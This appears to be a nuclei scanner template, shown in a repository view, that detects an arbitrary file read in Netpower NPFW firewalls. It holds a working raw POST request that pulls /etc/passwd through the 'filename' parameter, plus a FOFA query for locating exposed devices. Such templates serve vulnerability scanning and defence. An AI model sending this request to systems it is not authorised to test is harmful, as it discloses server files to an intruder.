nuclei-templates/http/vulnerabilities/other/netpower-npfw-lfi.yaml

42 lines
1.1 KiB
YAML
Raw Normal View History

2024-09-19 06:13:22 +00:00
id: netpower-npfw-lfi
info:
name: Netpower NPFW - Local File Inclusion
author: ritikchaddha
severity: high
description: |
Netpower NPFW firewall has an arbitrary file read vulnerability. Due to insufficient code filtering, it can read any file on the server
reference: |
- https://forum.butian.net/article/241
metadata:
max-request: 1
fofa-query: '"Netpower" && "/direct"'
tags: netpower,npfw,lfi
http:
- raw:
- |
POST /direct/polling/CommandsPolling.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
command=ping&filename=%2Fetc%2Fpasswd&cmdParam=
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: word
part: body
words:
- '{"type":"event"'
- 'dealing'
condition: and
- type: status
status:
- 200
2024-09-21 14:46:20 +00:00
# digest: 4a0a00473045022100d1ad89f7b6e893a8e12a3b0ad584e0b770496a86f4dd8274bc8b98ff705d317702200757b27d82de41c87c2348baf60a6e5dc50c7d67eee36032b717c31c46ed9b3c:922c64590222798bb761d5b6d8e72950